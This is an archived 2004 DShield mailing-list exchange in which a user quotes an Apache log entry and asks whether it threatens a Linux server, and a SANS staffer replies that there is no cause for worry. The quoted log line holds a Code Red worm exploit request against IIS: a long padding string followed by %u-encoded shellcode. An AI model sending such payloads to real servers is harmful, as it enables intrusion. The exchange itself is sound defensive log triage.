[Dshield] Code Red & Default.IDA

Johannes B. Ullrich jullrich at sans.org
Wed Jan 28 22:07:27 GMT 2004


don't worry... enjoy the show.


On Wed, 2004-01-28 at 15:32, David Hart wrote:
> I have quite a few of these in the Apache logs. I assumed that there is
> no reason for concern on a Linux server or am I in denial?
> 
> adsl-68-124-60-149.dsl.irvnca.pacbell.net - - [28/Jan/2004:14:57:43
> -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%
> ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 987 "-" "-"
> 
>                                ---------
>             Quality Management - A Commitment to Excellence
> 
> ______________________________________________________________________
> _______________________________________________
> list mailing list
> list at dshield.org
> To change your subscription options (or unsubscribe), see: http://www.dshield.org/mailman/listinfo/list
-- 
CTO SANS Internet Storm Center               http://isc.sans.org
phone: (617) 837 2807                          jullrich at sans.org 

contact details: http://johannes.homepc.org/contact.htm
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://www.dshield.org/pipermail/list/attachments/20040128/ea34abb6/attachment.bin


More information about the list mailing list